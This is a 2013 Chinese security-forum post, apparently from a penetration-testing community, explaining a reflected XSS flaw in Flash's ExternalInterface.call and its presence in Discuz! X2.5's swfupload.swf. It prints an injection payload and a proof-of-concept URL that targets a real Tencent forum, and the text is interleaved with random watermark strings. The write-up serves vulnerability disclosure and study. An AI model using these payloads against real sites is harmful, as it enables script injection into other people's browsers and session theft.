中国网络渗透测试联盟
标题:
Flash应用安全系列[2]--Discuz! X2.5反射型跨站
[打印本页]
作者:
admin
时间:
2013-2-23 12:50
标题:
Flash应用安全系列[2]--Discuz! X2.5反射型跨站
上回我们说
" d9 i. M5 ^ _& @; y
0 i7 m3 s/ e/ g
flash.external.ExternalInterface.call($methodName, $parameter)
5 ?* T# O2 M$ f
在浏览器中执行的是
/ |9 z0 Q$ a2 @5 q( E; S) J
# O: ~7 e# S8 `) G- Q0 M8 Q
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
" A+ u, }4 t' E
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
! _) X" u; A4 j/ r
, [" Y) D) z9 ~9 j( L
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
, M* [) N- ]+ l+ M
$methodName = a())}catch(e){alert(/xss/)}//
% k0 o! l6 q0 Y0 G2 |# U: z
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
* z3 w% ?2 I5 y) ]% u% W; ^
2 `0 O' h5 [5 ?
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
3 ?* v+ `3 i3 b
- T1 @7 p. J+ h/ ^
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
5 }( t. {! n! ]" N) q4 Z* H' ]
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
$ t% p c( s6 O1 _2 G9 x$ ^/ }
6 Y4 h7 ]9 ~% e4 | z2 u9 x
. p' q5 M% D5 l3 n! Z: d0 g
" x6 s2 G7 ~' M' ~: {+ A# ~
漏洞文件:upload\static\image\common\swfupload.swf
% ~% }5 w( h+ O; ~4 `; r
1 i( t+ ]& w5 J& \& W2 j4 A
原始SWF下载:
http://swfpoc.appspot.com/vul/discuz_swfupload.swf
# s5 [+ E5 Z* q, u" v1 X
) F( E/ ^+ ?! |
6 p" {4 V% [" I) U
漏洞证明:
http://bbs.open.qq.com/static/im ... d.swf?movieName=%22
])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
, I# J0 D- T, j; x( }0 {0 o
" ^1 E6 X3 ?$ t- W
5 w2 e* j& i8 s
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2